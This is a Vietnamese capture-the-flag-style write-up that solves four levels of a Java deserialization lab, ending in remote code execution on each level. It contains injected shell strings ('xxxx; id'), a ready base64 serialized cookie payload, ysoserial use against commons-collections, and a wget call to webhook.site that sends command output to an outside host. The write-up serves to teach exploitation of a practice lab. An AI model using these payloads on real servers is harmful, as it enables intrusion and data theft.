Java Deserialize CBJS Lab
Java Deserialize CBJS Lab
Giải thích chi tiết về lỗ hổng Deserialization
1. Deserialization là gì?
Serialization là quá trình chuyển đổi một object (đối tượng) trong bộ nhớ thành một định dạng có thể lưu trữ hoặc truyền tải (như byte stream, JSON, XML).
Deserialization là quá trình ngược lại - chuyển đổi dữ liệu đã được serialize trở lại thành object trong bộ nhớ.
2. Nguyên nhân
Lỗ hổng xảy ra khi:
- Ứng dụng deserialize dữ liệu từ nguồn không tin cậy (user input, network).
- Không có validation/filtering đầu vào Attacker có thể kiểm soát nội dung được deserialize.
- Quá trình deserialization tự động thực thi code trong object
3. Tác động
- Remote Code Execution (RCE): Thực thi mã độc từ xa.
- Authentication bypass: Vượt qua xác thực.
- Privilege escalation: Leo thang đặc quyền.
- Denial of Service (DoS): Làm sập hệ thống.
- SQL Injection: Thông qua object manipulation.
4. Các ngôn ngữ bị ảnh hưởng
- Java (ObjectInputStream)
- PHP (unserialize)
- Python (pickle)
- .NET (BinaryFormatter)
- Ruby (Marshal)
Exploit and POC
Level 1:

Level 1 đưa ta đến với 1 giao diện khá là đơn giản khi không có gì ngoài dòng Hello Servlet để trỏ đến trang khác bây giờ mình sẽ thử click vào để xem thử ra cái gì.

Nó trả về cho ta 1 dòng là Hello Guest còn lại không có gì bây giờ ta sẽ thử với burpsuite xem thử quá trình request sẽ có những gì xảy ra.

Request có vẻ không đưa ra nhiều thông tin cần thiết cho ta nhưng ta để ý rằng có user cookie khá là đáng ngờ trong trường hợp này.
Level 1 bao gồm 3 class chính đó là :
- HelloServlet.java
- User.java
- Admin.java
1 | package com.example.javadeserialize; |
Ở class user có 1 thuộc tính là name và method getName() để trả về giá trị name.
1 | package com.example.javadeserialize; |
Đây là class admin nó sẽ kế thừa class User và có thêm 1 thuộc tính là getNameCMD trả về kết quả của whoami, sau đó là hàm toString và đây cũng là một magic method của java.
1 | public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { |
Đến với class HelloServlet.java thì đây là phần xử lý logic chính của cả bài ở đây nó sẽ thực hiện deserialize cookie để lấy được giá trị của User nhưng trong trường hợp không tồn tại cookie của user thì nó sẽ tạo một cookie mới và đưa lại xử lý như cũ.
1 | public class HelloServlet extends HttpServlet { |
Hàm ở đây có writeObject() là hàm serialize của java.
1 | private static Object deserializeFromBase64(String s) throws IOException, ClassNotFoundException { |
Sau đó sẽ là hàm deserialize với method là readObject().
Sau khi phân tích ta thấy ở đoạn hàm doGet() ở đó có một dòng:
1 | out.println("<h1>Level 1 Hello " + user + "</h1>"); |
Ở đây là một đoạn ghép chuỗi và nó đã gọi đến hàm toString() và kích hoạt magic method đó, khi mà toString() được kích hoạt thì nó sẽ gọi đến câu OS command là whoami và trả về kết quả sau khi thực thi đó.
Đó sẽ là cái sink để ta có thể khai thác ta sẽ đi theo hướng exploit để có thể tạo ra một cái cookie đúng theo cấu trúc nhưng khác ở đây là ta có thể thay đổi được nội dung sau khi serialize theo ý thích của mình việc còn lại chỉ cần inject cookie mới vào để nó deserialize ra bây giờ ta sẽ đi đến với bước code exploit.
Với code exploit ta sẽ giữ lại hầu như các function các class sẵn có để có thể tạo thành gadget đúng theo ý mình và đúng theo cách hoạt động của web app.

Tại Admin.java mình tiến hành thay đổi câu lệnh whoami thành id để khi nó gọi đến toString thì thay vì gọi cmd là whoami bây giờ nó sẽ trả về giá trị sau khi thực thi câu lệnh id.

Tại đây vì sử dụng class Admin nên ta sẽ thay đổi User user = new User() sang User user = new Admin() để cho đúng với cấu trúc.
Sau đó viết một class GeneratePayload.java có nội dung:
1 | package com.example.javadeserialize; |
Code này sẽ giúp in ra user cookie sau khi mình ghép các gadget lại với nhau tạo ra user cookie đã được sửa thành payload.

Thành công gen ra được payload bây giờ ta sẽ thử thay thế vào xem kết quả.

Thành công thực thi câu lệnh id bây giờ ta hoàn toàn có thể RCE web theo ý muốn.

Debug ở đây cho ta thấy bây giờ giá trị đúng là id vậy nên ta đã hoàn toàn khai thác được level này.
Level 2:

Về bên ngoài thì có vẻ như level 2 cũng không quá khác biệt với level 1 vẫn chỉ là chức năng như chỉ là chương trình có thêm chức năng kiểm tra HTTP Connection bằng cách sử dụng os command ping và curl.


Đến với source code của level 2 ta thấy rằng có 3 class mới gồm:
- HTTPConnection.java
- MyHTTPClient.java
- MyRequestServlet.java
Còn lại thì nó vẫn giống như level 1 bây giờ ta sẽ thử đọc đoạn code đã gọi đến magic method giống level trước để xem cái sink có còn tồn tại hay không.
1 | this.message = "Level 2 Hello " + user.getName(); |
Ở đây ta để ý rằng phần cộng chuỗi bây giờ đã bị thay đổi thành user.getName() là gọi thẳng function thay vì gọi toString như ở level 1 nên không có magic method ở đây để tạo sink nữa nó sẽ lấy thẳng user name thẳng từ trong User.java luôn.
1 | package com.example.javadeserialize; |
Vậy nên ta sẽ đi đến với 3 class mới để tìm gadget gọi đến magic method để xem liệu có hướng nào không.
Đến với class HTTPConnection thì có vẻ như không có cái gì đặc biệt ở đây để khai thác:
1 | package com.example.javadeserialize; |
Nó chỉ khởi tạo biến url sau đó thực hiện connect.
Ở class MyHTTPClient.java ta nhận thấy có 2 cái sink khả nghi có thể khai thác được đó là ở hàm sendRequest() và hàm readObject():
1 | public void sendRequest() { |
1 | private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, InterruptedException { |
Ở đây ProcessBuilder là một hàm nguy hiểm nó có thể chạy tiến trình tới đường dẫn mà dev truyền vào và ở đây đoạn sendRequest() nó đang thực hiện curl đến với giá trị this.host đây là một sink hoàn toàn có khả năng thực hiện OS command Injection vậy nên bây giờ ta phải tìm được nơi gọi đến hàm sendRequest() để củng cố kịch bản.

Ở class MyRequestServlet.java ta tìm được nơi gọi đến function sendRequest() nhưng ở đây nó đã bị comment lại nên có vẻ sẽ không có kịch bản khai thác hàm này ở đây.
Bây giờ ta sẽ chỉ còn lại 1 sink đó là ở hàm readObject() ta có thể nhận ra ngay rằng hàm readObject này là một magic method nó sẽ được tự động gọi khi chương trình tiến hành deserialize data và truyền giá trị vào OS Command ở dòng ProcessBuilder pb = new ProcessBuilder(path, "-c", "ping " + this.host);

Vậy ở đây ta hoàn toàn có thể lợi dụng nó để tiến hành nối dài câu OS Command ở đây ta sẽ inject thêm ở this.host thành xxxx; id dấu ; sẽ thực hiện nối dài câu OS Command và thực thi thêm câu lệnh id ở đằng sau.
Bây giờ ta sẽ thực hiện phần code exploit, phần code sẽ không khác gì cũ ta sẽ chỉ cần copy 3 class mới vào thêm vào đó ta tiến hành code sửa lại phần hàm.

Ở đây ta khởi tạo MyHTTPClient và thực hiện gọi xxxx; id vì ở đây phần mình inject đó sẽ được gọi vào this.host.
Đó là logic tấn công của ta bây giờ sẽ là code để gen ra được payload:
1 | package com.example.javadeserialize; |

Thành công gen ra được cookie payload : rO0ABXNyAChjb20uZXhhbXBsZS5qYXZhZGVzZXJpYWxpemUuTXlIVFRQQ2xpZW50xxgQsBtC2FUCAAFMAARob3N0dAASTGphdmEvbGFuZy9TdHJpbmc7eHIAKmNvbS5leGFtcGxlLmphdmFkZXNlcmlhbGl6ZS5IVFRQQ29ubmVjdGlvbjaZ6lLJoIWoAgABTAADdXJscQB+AAF4cHQAD2h0dHA6Ly94eHh4OyBpZHQACHh4eHg7IGlk

Tiến hành inject cookie mới vào xem thử kết quả sẽ trả về như thế nào.

Kết quả có vẻ không như mong muốn có vẻ như ta đã làm sai ở một bước nào đó bây giờ kiểm tra lại code đoạn thực hiện deserialize vì lỗi này nó nằm ở catch của phần deserialize.

Để ý rằng ở đây có vẻ như cookie bị ép kiểu thành user nên có vẻ chính nó đã gây lỗi ở phần cookie nên nó trả về exception. Nhưng liệu trước khi chạm đến phần deserialize thì liệu nó đã thực thi OS Command chưa bây giờ ta sẽ thử Debug.

Ta có thể thấy rằng giá trị của this.host đã được gán và thực thi vậy ở đây ta có thể kết luận là blind OS Command Injection bây giờ ta có 3 cách đó là đưa kết quả ra ngoài , error based và time based ta sẽ chọn cách đưa kết quả ra ngoài bằng webhook cho dễ.
String commandToInject = "xxxx; wget https://webhook.site/12df02bf-338e-46a4-bed3-363434d64f1e";
Sửa thành như này xem liệu bên webhook có nhận request hay không.

Thành công nhận được request đến từ server đến webhook bây giờ ta sửa một chút ở PayloadGenerate.java để nó đưa kết quả của câu lệnh id ra.
1 | public static void main(String[] args) { |

Thành công trả về giá trị sau khi của kết quả câu lệnh id ở đây mình encode thành base64 để tránh các lỗi không mong muốn.

Kết quả đúng với câu lệnh kết luận ta đã thành công RCE.
Level 3:
Với level 3 thì chức năng vẫn sẽ tương tự với các level trước nên ta đi thẳng vào phân tích source code luôn.
Phần lớn source code vẫn sẽ giống như là level 2 khác cái giờ không có readObject để lợi dụng như level 2 nữa nên ta sẽ phân tích những đoạn sink có thể khai thác được.
Sau một lúc đọc thì tôi tìm thấy sink có thể khai thác được ở class MyHTTPClient.java.
1 |
|
Ở đây có function là connect() bên trong là hàm ProcessBuilder là một unsafe method cùng với đó là câu lệnh OS Command được thực thi bằng nó đây là sự kết hợp giữa Untrusted Data cùng với Unsafe method và ta hoàn toàn có thể lợi dụng nó để thực hiện CMDi như ở level trước vấn đề bây giờ ta phải tìm xem class nào gọi đến hàm connect().
Ở class TestConnection.java ta đã tìm thấy connect() được gọi.
1 | private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, InterruptedException { |
Từ đây ta đã hoàn thiện sink rồi bây giờ chỉ cần tạo thêm object TestConnection vì trong đó có readObject để gọi hàm connect().

Bây giờ viết payload để in ra được cookie và tiến hành inject thôi.
1 | package com.example.javadeserialize; |

Thành công gen ra được cookie mới của level 3.

Thay cookie mới vào và lưu nó lại.

Server trả về kết quả như này nhưng không cần quan tâm vì như đã debug ở bài trước thì quá trình deserialize được thực thi trước khi nổ ra lỗi.


Thành công RCE ở level 3.
Level 4:
Đến với level 4 thì chức năng của nó trên GUI thì vẫn sẽ như cũ nên ta sẽ nhìn thẳng vào source code luôn.
Ở level này các class khác đã bị loại bỏ hết chỉ còn mỗi 2 class chính là:
- HelloServlet.java
- User.java
Cũng tựa tựa như level 1 khi chỉ có mỗi 2 class còn lại bây giờ ta sẽ đi vào 2 class duy nhất để xem thử có đường nào để có thể khai thác hay không.
Sau một lúc đọc 2 class thì nó cũng hầu như không có hướng để có thể khai thác được vì ta chỉ có duy nhất class User để gọi method nhưng không có gì ở bên trong nên ta sẽ phân tích thử các file được include vào.
Ở file pom.xml có một đoạn có khả năng đưa cho ta thông tin để có thể tìm kiếm gadget trên mạng.
1 | <dependency> |

Sau một lúc tìm kiếm nhận ra rằng ysoserial có gadget để khai thác đực commons-collections ver 3.1 đã được include trong dependency của server.

Dùng ysoserial thành công tạo được cookie để payload bây giờ tiến hành inject.

Thay cookie và save vào.

Thành công lấy được request về giờ ta đã RCE thành công level cuối cùng của bài deserialize.